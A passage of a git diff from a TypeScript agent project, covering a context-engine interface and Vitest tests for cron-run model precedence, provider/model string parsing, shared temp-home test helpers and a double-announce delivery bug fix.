Backward-compat only: legacy compaction bridge runtime params. */ + legacyCompactionParams?: Record; + }): Promise; + + /** + * Assemble model context under a token budget. + * Returns an ordered set of messages ready for the model. + */ + assemble(params: { + sessionId: string; + messages: AgentMessage[]; + tokenBudget?: number; + }): Promise; + + /** + * Compact context to reduce token usage. + * May create summaries, prune old turns, etc. + */ + compact(params: { + sessionId: string; + sessionFile: string; + tokenBudget?: number; + /** Backward-compat only: force legacy compaction behavior even below threshold. */ + force?: boolean; + /** Optional live token estimate from the caller's active context. */ + currentTokenCount?: number; + /** Controls convergence target; defaults to budget for compatibility. */ + compactionTarget?: "budget" | "threshold"; + customInstructions?: string; + /** Backward-compat only: full params bag for legacy compaction bridge. */ + legacyParams?: Record; + }): Promise; + + /** + * Prepare context-engine-managed subagent state before the child run starts. + * + * Implementations can return a rollback handle that is invoked when spawn + * fails after preparation succeeds. + */ + prepareSubagentSpawn?(params: { + parentSessionKey: string; + childSessionKey: string; + ttlMs?: number; + }): Promise; + + /** + * Notify the context engine that a subagent lifecycle ended. + */ + onSubagentEnded?(params: { childSessionKey: string; reason: SubagentEndReason }): Promise; + + /** + * Dispose of any resources held by the engine. + */ + dispose?(): Promise; +} diff --git a/src/cron/isolated-agent.model-formatting.test.ts b/src/cron/isolated-agent.model-formatting.test.ts new file mode 100644 index 00000000000..e78f251dc8b --- /dev/null +++ b/src/cron/isolated-agent.model-formatting.test.ts @@ -0,0 +1,521 @@ +import "./isolated-agent.mocks.js"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import { loadModelCatalog } from "../agents/model-catalog.js"; +import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; +import { runCronIsolatedAgentTurn } from "./isolated-agent.js"; +import { + makeCfg, + makeJob, + withTempCronHome, + writeSessionStoreEntries, +} from "./isolated-agent.test-harness.js"; +import type { CronJob } from "./types.js"; + +const withTempHome = withTempCronHome; + +function makeDeps() { + return { + sendMessageSlack: vi.fn(), + sendMessageWhatsApp: vi.fn(), + sendMessageTelegram: vi.fn(), + sendMessageDiscord: vi.fn(), + sendMessageSignal: vi.fn(), + sendMessageIMessage: vi.fn(), + }; +} + +function mockEmbeddedOk() { + vi.mocked(runEmbeddedPiAgent).mockResolvedValue({ + payloads: [{ text: "ok" }], + meta: { + durationMs: 5, + agentMeta: { sessionId: "s", provider: "p", model: "m" }, + }, + }); +} + +/** + * Extract the provider and model from the last runEmbeddedPiAgent call. + */ +function lastEmbeddedCall(): { provider?: string; model?: string } { + const calls = vi.mocked(runEmbeddedPiAgent).mock.calls; + expect(calls.length).toBeGreaterThan(0); + return calls.at(-1)?.[0] as { provider?: string; model?: string }; +} + +const DEFAULT_MESSAGE = "do it"; + +type TurnOptions = { + cfgOverrides?: Parameters[2]; + jobPayload?: CronJob["payload"]; + sessionKey?: string; + storeEntries?: Record>; +}; + +async function runTurnCore(home: string, options: TurnOptions = {}) { + const storePath = await writeSessionStoreEntries(home, { + "agent:main:main": { + sessionId: "main-session", + updatedAt: Date.now(), + lastProvider: "webchat", + lastTo: "", + }, + ...options.storeEntries, + }); + mockEmbeddedOk(); + + const jobPayload = options.jobPayload ?? { + kind: "agentTurn" as const, + message: DEFAULT_MESSAGE, + deliver: false, + }; + + const res = await runCronIsolatedAgentTurn({ + cfg: makeCfg(home, storePath, options.cfgOverrides), + deps: makeDeps(), + job: makeJob(jobPayload), + message: DEFAULT_MESSAGE, + sessionKey: options.sessionKey ?? "cron:job-1", + lane: "cron", + }); + + return res; +} + +/** Like runTurn but does NOT assert the embedded agent was called (for error paths). */ +async function runErrorTurn(home: string, options: TurnOptions = {}) { + const res = await runTurnCore(home, options); + return { res }; +} + +async function runTurn(home: string, options: TurnOptions = {}) { + const res = await runTurnCore(home, options); + return { res, call: lastEmbeddedCall() }; +} + +// --------------------------------------------------------------------------- +// Tests +// --------------------------------------------------------------------------- + +describe("cron model formatting and precedence edge cases", () => { + beforeEach(() => { + vi.mocked(runEmbeddedPiAgent).mockClear(); + vi.mocked(loadModelCatalog).mockResolvedValue([]); + }); + + // ------ provider/model string splitting ------ + + describe("parseModelRef formatting", () => { + it("splits standard provider/model", async () => { + await withTempHome(async (home) => { + const { res, call } = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, model: "openai/gpt-4.1-mini" }, + }); + expect(res.status).toBe("ok"); + expect(call.provider).toBe("openai"); + expect(call.model).toBe("gpt-4.1-mini"); + }); + }); + + it("handles leading/trailing whitespace in model string", async () => { + await withTempHome(async (home) => { + const { res, call } = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: " openai/gpt-4.1-mini ", + }, + }); + expect(res.status).toBe("ok"); + expect(call.provider).toBe("openai"); + expect(call.model).toBe("gpt-4.1-mini"); + }); + }); + + it("handles openrouter nested provider paths", async () => { + await withTempHome(async (home) => { + const { res, call } = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "openrouter/meta-llama/llama-3.3-70b:free", + }, + }); + expect(res.status).toBe("ok"); + expect(call.provider).toBe("openrouter"); + expect(call.model).toBe("meta-llama/llama-3.3-70b:free"); + }); + }); + + it("rejects model with trailing slash (empty model name)", async () => { + await withTempHome(async (home) => { + const { res } = await runErrorTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, model: "openai/" }, + }); + expect(res.status).toBe("error"); + expect(res.error).toMatch(/invalid model/i); + expect(vi.mocked(runEmbeddedPiAgent)).not.toHaveBeenCalled(); + }); + }); + + it("rejects model with leading slash (empty provider)", async () => { + await withTempHome(async (home) => { + const { res } = await runErrorTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, model: "/gpt-4.1-mini" }, + }); + expect(res.status).toBe("error"); + expect(res.error).toMatch(/invalid model/i); + expect(vi.mocked(runEmbeddedPiAgent)).not.toHaveBeenCalled(); + }); + }); + + it("normalizes provider casing", async () => { + await withTempHome(async (home) => { + const { res, call } = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "OpenAI/gpt-4.1-mini", + }, + }); + expect(res.status).toBe("ok"); + expect(call.provider).toBe("openai"); + expect(call.model).toBe("gpt-4.1-mini"); + }); + }); + + it("normalizes anthropic model aliases", async () => { + await withTempHome(async (home) => { + const { res, call } = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "anthropic/opus-4.5", + }, + }); + expect(res.status).toBe("ok"); + expect(call.provider).toBe("anthropic"); + expect(call.model).toBe("claude-opus-4-5"); + }); + }); + + it("normalizes bedrock provider alias", async () => { + await withTempHome(async (home) => { + const { res, call } = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "bedrock/claude-sonnet-4-5", + }, + }); + expect(res.status).toBe("ok"); + expect(call.provider).toBe("amazon-bedrock"); + }); + }); + }); + + // ------ precedence: job payload > session override > default ------ + + describe("model precedence isolation", () => { + it("job payload model overrides default (anthropic → openai)", async () => { + // Default in makeCfg is anthropic/claude-opus-4-5. + // Job payload sets openai/gpt-4.1-mini. Provider must be openai. + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "openai/gpt-4.1-mini", + }, + }); + expect(call.provider).toBe("openai"); + expect(call.model).toBe("gpt-4.1-mini"); + }); + }); + + it("session override applies when no job payload model is present", async () => { + // No model in job payload. Session store has openai override. + // Provider must be openai, not the default anthropic. + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + storeEntries: { + "agent:main:cron:job-1": { + sessionId: "existing-session", + updatedAt: Date.now(), + providerOverride: "openai", + modelOverride: "gpt-4.1-mini", + }, + }, + }); + expect(call.provider).toBe("openai"); + expect(call.model).toBe("gpt-4.1-mini"); + }); + }); + + it("job payload model wins over conflicting session override", async () => { + // Job payload says anthropic. Session says openai. Job must win. + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "anthropic/claude-sonnet-4-5", + deliver: false, + }, + storeEntries: { + "agent:main:cron:job-1": { + sessionId: "existing-session", + updatedAt: Date.now(), + providerOverride: "openai", + modelOverride: "gpt-4.1-mini", + }, + }, + }); + expect(call.provider).toBe("anthropic"); + expect(call.model).toBe("claude-sonnet-4-5"); + }); + }); + + it("falls through to default when no override is present", async () => { + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + }); + // makeCfg default is anthropic/claude-opus-4-5 + expect(call.provider).toBe("anthropic"); + expect(call.model).toBe("claude-opus-4-5"); + }); + }); + }); + + // ------ sequential runs with different overrides (the CI failure pattern) ------ + + describe("sequential model switches (CI failure regression)", () => { + it("openai override → session openai → job anthropic: each step resolves correctly", async () => { + // This reproduces the exact pattern from the CI failure. + // Three sequential calls in one temp home, switching providers. + await withTempHome(async (home) => { + // Step 1: Job payload says openai + vi.mocked(runEmbeddedPiAgent).mockClear(); + const step1 = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "openai/gpt-4.1-mini", + }, + }); + expect(step1.call.provider).toBe("openai"); + expect(step1.call.model).toBe("gpt-4.1-mini"); + + // Step 2: No job model, session store says openai + vi.mocked(runEmbeddedPiAgent).mockClear(); + mockEmbeddedOk(); + const step2 = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + storeEntries: { + "agent:main:cron:job-1": { + sessionId: "existing-session", + updatedAt: Date.now(), + providerOverride: "openai", + modelOverride: "gpt-4.1-mini", + }, + }, + }); + expect(step2.call.provider).toBe("openai"); + expect(step2.call.model).toBe("gpt-4.1-mini"); + + // Step 3: Job payload says anthropic, session store still says openai + vi.mocked(runEmbeddedPiAgent).mockClear(); + mockEmbeddedOk(); + const step3 = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "anthropic/claude-opus-4-5", + deliver: false, + }, + storeEntries: { + "agent:main:cron:job-1": { + sessionId: "existing-session", + updatedAt: Date.now(), + providerOverride: "openai", + modelOverride: "gpt-4.1-mini", + }, + }, + }); + expect(step3.call.provider).toBe("anthropic"); + expect(step3.call.model).toBe("claude-opus-4-5"); + }); + }); + + it("provider does not leak between isolated sequential runs", async () => { + // Run with openai, then run with no override. + // Second run must get the default (anthropic), not leaked openai. + await withTempHome(async (home) => { + // Run 1: explicit openai + const r1 = await runTurn(home, { + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "openai/gpt-4.1-mini", + }, + }); + expect(r1.call.provider).toBe("openai"); + + // Run 2: no override — must revert to default anthropic + vi.mocked(runEmbeddedPiAgent).mockClear(); + mockEmbeddedOk(); + const r2 = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + }); + expect(r2.call.provider).toBe("anthropic"); + expect(r2.call.model).toBe("claude-opus-4-5"); + }); + }); + }); + + // ------ forceNew session + stored model override interaction ------ + + describe("forceNew session preserves model overrides from store", () => { + it("new isolated session inherits stored modelOverride/providerOverride", async () => { + // Isolated cron uses forceNew=true, which creates a new sessionId. + // The stored modelOverride/providerOverride must still be read and applied + // (resolveCronSession spreads ...entry before overriding core fields). + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + storeEntries: { + "agent:main:cron:job-1": { + sessionId: "old-session-id", + updatedAt: Date.now(), + providerOverride: "openai", + modelOverride: "gpt-4.1-mini", + }, + }, + }); + expect(call.provider).toBe("openai"); + expect(call.model).toBe("gpt-4.1-mini"); + }); + }); + + it("new isolated session uses default when store has no override", async () => { + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + storeEntries: { + "agent:main:cron:job-1": { + sessionId: "old-session-id", + updatedAt: Date.now(), + // No providerOverride or modelOverride + }, + }, + }); + expect(call.provider).toBe("anthropic"); + expect(call.model).toBe("claude-opus-4-5"); + }); + }); + }); + + // ------ whitespace / empty edge cases ------ + + describe("whitespace and empty model strings", () => { + it("whitespace-only model treated as unset (falls to default)", async () => { + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, model: " " }, + }); + expect(call.provider).toBe("anthropic"); + expect(call.model).toBe("claude-opus-4-5"); + }); + }); + + it("empty string model treated as unset", async () => { + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, model: "" }, + }); + expect(call.provider).toBe("anthropic"); + expect(call.model).toBe("claude-opus-4-5"); + }); + }); + + it("whitespace-only session modelOverride is ignored", async () => { + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + storeEntries: { + "agent:main:cron:job-1": { + sessionId: "old", + updatedAt: Date.now(), + providerOverride: "openai", + modelOverride: " ", + }, + }, + }); + // Whitespace modelOverride should be ignored → default + expect(call.provider).toBe("anthropic"); + expect(call.model).toBe("claude-opus-4-5"); + }); + }); + }); + + // ------ config default model as string vs object ------ + + describe("config model format variations", () => { + it("default model as string 'provider/model'", async () => { + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + cfgOverrides: { + agents: { + defaults: { + model: "openai/gpt-4.1", + }, + }, + }, + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + }); + expect(call.provider).toBe("openai"); + expect(call.model).toBe("gpt-4.1"); + }); + }); + + it("default model as object with primary field", async () => { + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + cfgOverrides: { + agents: { + defaults: { + model: { primary: "openai/gpt-4.1" }, + }, + }, + }, + jobPayload: { kind: "agentTurn", message: DEFAULT_MESSAGE, deliver: false }, + }); + expect(call.provider).toBe("openai"); + expect(call.model).toBe("gpt-4.1"); + }); + }); + + it("job override switches away from object default", async () => { + await withTempHome(async (home) => { + const { call } = await runTurn(home, { + cfgOverrides: { + agents: { + defaults: { + model: { primary: "openai/gpt-4.1" }, + }, + }, + }, + jobPayload: { + kind: "agentTurn", + message: DEFAULT_MESSAGE, + model: "anthropic/claude-sonnet-4-5", + }, + }); + expect(call.provider).toBe("anthropic"); + expect(call.model).toBe("claude-sonnet-4-5"); + }); + }); + }); +}); diff --git a/src/cron/isolated-agent.skips-delivery-without-whatsapp-recipient-besteffortdeliver-true.test.ts b/src/cron/isolated-agent.skips-delivery-without-whatsapp-recipient-besteffortdeliver-true.test.ts index e9dceba6365..bc763a7a588 100644 --- a/src/cron/isolated-agent.skips-delivery-without-whatsapp-recipient-besteffortdeliver-true.test.ts +++ b/src/cron/isolated-agent.skips-delivery-without-whatsapp-recipient-besteffortdeliver-true.test.ts @@ -1,8 +1,6 @@ import "./isolated-agent.mocks.js"; import fs from "node:fs/promises"; -import os from "node:os"; -import path from "node:path"; -import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { beforeEach, describe, expect, it, vi } from "vitest"; import { runSubagentAnnounceFlow } from "../agents/subagent-announce.js"; import type { CliDeps } from "../cli/deps.js"; import { @@ -12,72 +10,15 @@ import { runTelegramAnnounceTurn, } from "./isolated-agent.delivery.test-helpers.js"; import { runCronIsolatedAgentTurn } from "./isolated-agent.js"; -import { makeCfg, makeJob, writeSessionStore } from "./isolated-agent.test-harness.js"; +import { + makeCfg, + makeJob, + withTempCronHome as withTempHome, + writeSessionStore, +} from "./isolated-agent.test-harness.js"; import { setupIsolatedAgentTurnMocks } from "./isolated-agent.test-setup.js"; -type HomeEnvSnapshot = { - HOME: string | undefined; - USERPROFILE: string | undefined; - HOMEDRIVE: string | undefined; - HOMEPATH: string | undefined; - OPENCLAW_HOME: string | undefined; - OPENCLAW_STATE_DIR: string | undefined; -}; - const TELEGRAM_TARGET = { mode: "announce", channel: "telegram", to: "123" } as const; -let suiteTempHomeRoot = ""; -let suiteTempHomeCaseId = 0; - -function snapshotHomeEnv(): HomeEnvSnapshot { - return { - HOME: process.env.HOME, - USERPROFILE: process.env.USERPROFILE, - HOMEDRIVE: process.env.HOMEDRIVE, - HOMEPATH: process.env.HOMEPATH, - OPENCLAW_HOME: process.env.OPENCLAW_HOME, - OPENCLAW_STATE_DIR: process.env.OPENCLAW_STATE_DIR, - }; -} - -function restoreHomeEnv(snapshot: HomeEnvSnapshot) { - const restoreValue = (key: keyof HomeEnvSnapshot) => { - const value = snapshot[key]; - if (value === undefined) { - delete process.env[key]; - } else { - process.env[key] = value; - } - }; - restoreValue("HOME"); - restoreValue("USERPROFILE"); - restoreValue("HOMEDRIVE"); - restoreValue("HOMEPATH"); - restoreValue("OPENCLAW_HOME"); - restoreValue("OPENCLAW_STATE_DIR"); -} - -async function withTempHome(fn: (home: string) => Promise): Promise { - const home = path.join(suiteTempHomeRoot, `case-${suiteTempHomeCaseId++}`); - await fs.mkdir(path.join(home, ".openclaw", "agents", "main", "sessions"), { recursive: true }); - const snapshot = snapshotHomeEnv(); - process.env.HOME = home; - process.env.USERPROFILE = home; - delete process.env.OPENCLAW_HOME; - process.env.OPENCLAW_STATE_DIR = path.join(home, ".openclaw"); - if (process.platform === "win32") { - const parsed = path.parse(home); - if (parsed.root) { - process.env.HOMEDRIVE = parsed.root.replace(/[\\/]+$/, ""); - process.env.HOMEPATH = home.slice(process.env.HOMEDRIVE.length) || "\\"; - } - } - try { - return await fn(home); - } finally { - restoreHomeEnv(snapshot); - } -} - async function runExplicitTelegramAnnounceTurn(params: { home: string; storePath: string; @@ -264,19 +205,6 @@ async function assertExplicitTelegramTargetAnnounce(params: { } describe("runCronIsolatedAgentTurn", () => { - beforeAll(async () => { - suiteTempHomeRoot = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-cron-delivery-suite-")); - }); - - afterAll(async () => { - if (!suiteTempHomeRoot) { - return; - } - await fs.rm(suiteTempHomeRoot, { recursive: true, force: true }); - suiteTempHomeRoot = ""; - suiteTempHomeCaseId = 0; - }); - beforeEach(() => { setupIsolatedAgentTurnMocks(); }); diff --git a/src/cron/isolated-agent.uses-last-non-empty-agent-text-as.test.ts b/src/cron/isolated-agent.uses-last-non-empty-agent-text-as.test.ts index 2ef6df271d5..2a4b786f99c 100644 --- a/src/cron/isolated-agent.uses-last-non-empty-agent-text-as.test.ts +++ b/src/cron/isolated-agent.uses-last-non-empty-agent-text-as.test.ts @@ -1,8 +1,7 @@ import "./isolated-agent.mocks.js"; import fs from "node:fs/promises"; -import os from "node:os"; import path from "node:path"; -import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { beforeEach, describe, expect, it, vi } from "vitest"; import { loadModelCatalog } from "../agents/model-catalog.js"; import { runEmbeddedPiAgent } from "../agents/pi-embedded.js"; import type { CliDeps } from "../cli/deps.js"; @@ -10,73 +9,12 @@ import { runCronIsolatedAgentTurn } from "./isolated-agent.js"; import { makeCfg, makeJob, + withTempCronHome as withTempHome, writeSessionStore, writeSessionStoreEntries, } from "./isolated-agent.test-harness.js"; import type { CronJob } from "./types.js"; -type HomeEnvSnapshot = { - HOME: string | undefined; - USERPROFILE: string | undefined; - HOMEDRIVE: string | undefined; - HOMEPATH: string | undefined; - OPENCLAW_HOME: string | undefined; - OPENCLAW_STATE_DIR: string | undefined; -}; - -let suiteTempHomeRoot = ""; -let suiteTempHomeCaseId = 0; - -function snapshotHomeEnv(): HomeEnvSnapshot { - return { - HOME: process.env.HOME, - USERPROFILE: process.env.USERPROFILE, - HOMEDRIVE: process.env.HOMEDRIVE, - HOMEPATH: process.env.HOMEPATH, - OPENCLAW_HOME: process.env.OPENCLAW_HOME, - OPENCLAW_STATE_DIR: process.env.OPENCLAW_STATE_DIR, - }; -} - -function restoreHomeEnv(snapshot: HomeEnvSnapshot) { - const restoreValue = (key: keyof HomeEnvSnapshot) => { - const value = snapshot[key]; - if (value === undefined) { - delete process.env[key]; - } else { - process.env[key] = value; - } - }; - restoreValue("HOME"); - restoreValue("USERPROFILE"); - restoreValue("HOMEDRIVE"); - restoreValue("HOMEPATH"); - restoreValue("OPENCLAW_HOME"); - restoreValue("OPENCLAW_STATE_DIR"); -} - -async function withTempHome(fn: (home: string) => Promise): Promise { - const home = path.join(suiteTempHomeRoot, `case-${suiteTempHomeCaseId++}`); - await fs.mkdir(path.join(home, ".openclaw", "agents", "main", "sessions"), { recursive: true }); - const snapshot = snapshotHomeEnv(); - process.env.HOME = home; - process.env.USERPROFILE = home; - delete process.env.OPENCLAW_HOME; - process.env.OPENCLAW_STATE_DIR = path.join(home, ".openclaw"); - if (process.platform === "win32") { - const parsed = path.parse(home); - if (parsed.root) { - process.env.HOMEDRIVE = parsed.root.replace(/[\\/]+$/, ""); - process.env.HOMEPATH = home.slice(process.env.HOMEDRIVE.length) || "\\"; - } - } - try { - return await fn(home); - } finally { - restoreHomeEnv(snapshot); - } -} - function makeDeps(): CliDeps { return { sendMessageSlack: vi.fn(), @@ -224,19 +162,6 @@ async function runStoredOverrideAndExpectModel(params: { } describe("runCronIsolatedAgentTurn", () => { - beforeAll(async () => { - suiteTempHomeRoot = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-cron-turn-suite-")); - }); - - afterAll(async () => { - if (!suiteTempHomeRoot) { - return; - } - await fs.rm(suiteTempHomeRoot, { recursive: true, force: true }); - suiteTempHomeRoot = ""; - suiteTempHomeCaseId = 0; - }); - beforeEach(() => { vi.mocked(runEmbeddedPiAgent).mockClear(); vi.mocked(loadModelCatalog).mockResolvedValue([]); diff --git a/src/cron/isolated-agent/delivery-dispatch.double-announce.test.ts b/src/cron/isolated-agent/delivery-dispatch.double-announce.test.ts new file mode 100644 index 00000000000..b41b88576e9 --- /dev/null +++ b/src/cron/isolated-agent/delivery-dispatch.double-announce.test.ts @@ -0,0 +1,271 @@ +/** + * Tests for the double-announce bug in cron delivery dispatch. + * + * Bug: early return paths in deliverViaAnnounce (active subagent suppression + * and stale interim message suppression) returned without setting + * deliveryAttempted = true. The timer saw deliveryAttempted = false and + * fired enqueueSystemEvent as a fallback, causing a second announcement. + * + * Fix: both early return paths now set deliveryAttempted = true before + * returning so the timer correctly skips the system-event fallback. + */ + +import { beforeEach, describe, expect, it, vi } from "vitest"; + +// --- Module mocks (must be hoisted before imports) --- + +vi.mock("../../agents/subagent-announce.js", () => ({ + runSubagentAnnounceFlow: vi.fn().mockResolvedValue(true), +})); + +vi.mock("../../agents/subagent-registry.js", () => ({ + countActiveDescendantRuns: vi.fn().mockReturnValue(0), +})); + +vi.mock("../../config/sessions.js", () => ({ + resolveAgentMainSessionKey: vi.fn().mockReturnValue("agent:main"), +})); + +vi.mock("../../infra/outbound/outbound-session.js", () => ({ + resolveOutboundSessionRoute: vi.fn().mockResolvedValue(null), + ensureOutboundSessionEntry: vi.fn().mockResolvedValue(undefined), +})); + +vi.mock("../../infra/outbound/deliver.js", () => ({ + deliverOutboundPayloads: vi.fn().mockResolvedValue([{ ok: true }]), +})); + +vi.mock("../../infra/outbound/identity.js", () => ({ + resolveAgentOutboundIdentity: vi.fn().mockReturnValue({}), +})); + +vi.mock("../../infra/outbound/session-context.js", () => ({ + buildOutboundSessionContext: vi.fn().mockReturnValue({}), +})); + +vi.mock("../../cli/outbound-send-deps.js", () => ({ + createOutboundSendDeps: vi.fn().mockReturnValue({}), +})); + +vi.mock("../../logger.js", () => ({ + logWarn: vi.fn(), +})); + +vi.mock("./subagent-followup.js", () => ({ + expectsSubagentFollowup: vi.fn().mockReturnValue(false), + isLikelyInterimCronMessage: vi.fn().mockReturnValue(false), + readDescendantSubagentFallbackReply: vi.fn().mockResolvedValue(undefined), + waitForDescendantSubagentSummary: vi.fn().mockResolvedValue(undefined), +})); + +import { runSubagentAnnounceFlow } from "../../agents/subagent-announce.js"; +// Import after mocks +import { countActiveDescendantRuns } from "../../agents/subagent-registry.js"; +import { shouldEnqueueCronMainSummary } from "../heartbeat-policy.js"; +import { dispatchCronDelivery } from "./delivery-dispatch.js"; +import type { DeliveryTargetResolution } from "./delivery-target.js"; +import type { RunCronAgentTurnResult } from "./run.js"; +import { + expectsSubagentFollowup, + isLikelyInterimCronMessage, + readDescendantSubagentFallbackReply, + waitForDescendantSubagentSummary, +} from "./subagent-followup.js"; + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +function makeResolvedDelivery(): Extract { + return { + ok: true, + channel: "telegram", + to: "123456", + accountId: undefined, + threadId: undefined, + }; +} + +function makeWithRunSession() { + return ( + result: Omit, + ): RunCronAgentTurnResult => ({ + ...result, + sessionId: "test-session-id", + sessionKey: "test-session-key", + }); +} + +function makeBaseParams(overrides: { synthesizedText?: string; deliveryRequested?: boolean }) { + const resolvedDelivery = makeResolvedDelivery(); + return { + cfg: {} as never, + cfgWithAgentDefaults: {} as never, + deps: {} as never, + job: { + id: "test-job", + name: "Test Job", + deleteAfterRun: false, + payload: { kind: "agentTurn", message: "hello" }, + } as never, + agentId: "main", + agentSessionKey: "agent:main", + runSessionId: "run-123", + runStartedAt: Date.now(), + runEndedAt: Date.now(), + timeoutMs: 30_000, + resolvedDelivery, + deliveryRequested: overrides.deliveryRequested ?? true, + skipHeartbeatDelivery: false, + skipMessagingToolDelivery: false, + deliveryBestEffort: false, + deliveryPayloadHasStructuredContent: false, + deliveryPayloads: overrides.synthesizedText ? [{ text: overrides.synthesizedText }] : [], + synthesizedText: overrides.synthesizedText ?? "on it", + summary: overrides.synthesizedText ?? "on it", + outputText: overrides.synthesizedText ?? "on it", + telemetry: undefined, + abortSignal: undefined, + isAborted: () => false, + abortReason: () => "aborted", + withRunSession: makeWithRunSession(), + }; +} + +// --------------------------------------------------------------------------- +// Tests +// --------------------------------------------------------------------------- + +describe("dispatchCronDelivery — double-announce guard", () => { + beforeEach(() => { + vi.clearAllMocks(); + vi.mocked(countActiveDescendantRuns).mockReturnValue(0); + vi.mocked(expectsSubagentFollowup).mockReturnValue(false); + vi.mocked(isLikelyInterimCronMessage).mockReturnValue(false); + vi.mocked(readDescendantSubagentFallbackReply).mockResolvedValue(undefined); + vi.mocked(waitForDescendantSubagentSummary).mockResolvedValue(undefined); + vi.mocked(runSubagentAnnounceFlow).mockResolvedValue(true); + }); + + it("early return (active subagent) sets deliveryAttempted=true so timer skips enqueueSystemEvent", async () => { + // countActiveDescendantRuns returns >0 → enters wait block; still >0 after wait → early return + vi.mocked(countActiveDescendantRuns).mockReturnValue(2); + vi.mocked(waitForDescendantSubagentSummary).mockResolvedValue(undefined); + vi.mocked(readDescendantSubagentFallbackReply).mockResolvedValue(undefined); + + const params = makeBaseParams({ synthesizedText: "on it" }); + const state = await dispatchCronDelivery(params); + + // deliveryAttempted must be true so timer does NOT fire enqueueSystemEvent + expect(state.deliveryAttempted).toBe(true); + + // Verify timer guard agrees: shouldEnqueueCronMainSummary returns false + expect( + shouldEnqueueCronMainSummary({ + summaryText: "on it", + deliveryRequested: true, + delivered: state.delivered, + deliveryAttempted: state.deliveryAttempted, + suppressMainSummary: false, + isCronSystemEvent: () => true, + }), + ).toBe(false); + + // No announce should have been attempted (subagents still running) + expect(runSubagentAnnounceFlow).not.toHaveBeenCalled(); + }); + + it("early return (stale interim suppression) sets deliveryAttempted=true so timer skips enqueueSystemEvent", async () => { + // First countActiveDescendantRuns call returns >0 (had descendants), second returns 0 + vi.mocked(countActiveDescendantRuns) + .mockReturnValueOnce(2) // initial check → hadDescendants=true, enters wait block + .mockReturnValueOnce(0); // second check after wait → activeSubagentRuns=0 + vi.mocked(waitForDescendantSubagentSummary).mockResolvedValue(undefined); + vi.mocked(readDescendantSubagentFallbackReply).mockResolvedValue(undefined); + // synthesizedText matches initialSynthesizedText & isLikelyInterimCronMessage → stale interim + vi.mocked(isLikelyInterimCronMessage).mockReturnValue(true); + + const params = makeBaseParams({ synthesizedText: "on it, pulling everything together" }); + const state = await dispatchCronDelivery(params); + + // deliveryAttempted must be true so timer does NOT fire enqueueSystemEvent + expect(state.deliveryAttempted).toBe(true); + + // Verify timer guard agrees + expect( + shouldEnqueueCronMainSummary({ + summaryText: "on it, pulling everything together", + deliveryRequested: true, + delivered: state.delivered, + deliveryAttempted: state.deliveryAttempted, + suppressMainSummary: false, + isCronSystemEvent: () => true, + }), + ).toBe(false); + + // No announce or direct delivery should have been sent (stale interim suppressed) + expect(runSubagentAnnounceFlow).not.toHaveBeenCalled(); + }); + + it("normal announce success delivers exactly once and sets deliveryAttempted=true", async () => { + vi.mocked(countActiveDescendantRuns).mockReturnValue(0); + vi.mocked(isLikelyInterimCronMessage).mockReturnValue(false); + vi.mocked(runSubagentAnnounceFlow).mockResolvedValue(true); + + const params = makeBaseParams({ synthesizedText: "Morning briefing complete." }); + const state = await dispatchCronDelivery(params); + + expect(state.deliveryAttempted).toBe(true); + expect(state.delivered).toBe(true); + // Announce called exactly once + expect(runSubagentAnnounceFlow).toHaveBeenCalledTimes(1); + + // Timer should not fire enqueueSystemEvent (delivered=true) + expect( + shouldEnqueueCronMainSummary({ + summaryText: "Morning briefing complete.", + deliveryRequested: true, + delivered: state.delivered, + deliveryAttempted: state.deliveryAttempted, + suppressMainSummary: false, + isCronSystemEvent: () => true, + }), + ).toBe(false); + }); + + it("announce failure falls back to direct delivery exactly once (no double-deliver)", async () => { + vi.mocked(countActiveDescendantRuns).mockReturnValue(0); + vi.mocked(isLikelyInterimCronMessage).mockReturnValue(false); + // 